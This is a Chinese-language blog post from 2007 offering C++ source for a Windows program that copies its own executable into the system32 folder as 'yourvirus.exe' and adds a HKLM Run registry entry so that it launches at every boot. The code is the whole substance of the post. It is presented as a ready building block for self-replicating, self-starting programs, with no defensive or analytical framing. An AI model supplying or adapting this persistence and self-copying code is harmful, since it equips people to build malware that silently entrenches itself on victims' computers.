Written on 2007年10月28日 @ 14:47 | by spirit | Tags: 源码   | 浏览:

一个简单的复制代码,能够实现开机的自动运行以及自我复制。
源代码如下:
#include <windows.h>

int WINAPI WinMain(HINSTANCE hThisInstance, 
HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)

{

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
//得到当前执行文件的全路径
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
//得到系统文件所在目录的路径,如c:\windows\system32
GetSystemDirectory(system,sizeof(system));
//形成要复制到的全路径,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe");
//自我复制到目标路径
CopyFile(pathtofile,system,false);

//写入注册表,以便开机自动运行
HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",
0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);

return 0;
}


若转载请注明出处: Spirit's Home
本文地址: http://www.7788sky.cn/post/cpp11.html

相关文章:

  1. 0 Response to “c++程序的自我复制及开机自运行代码”

Post a Comment

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。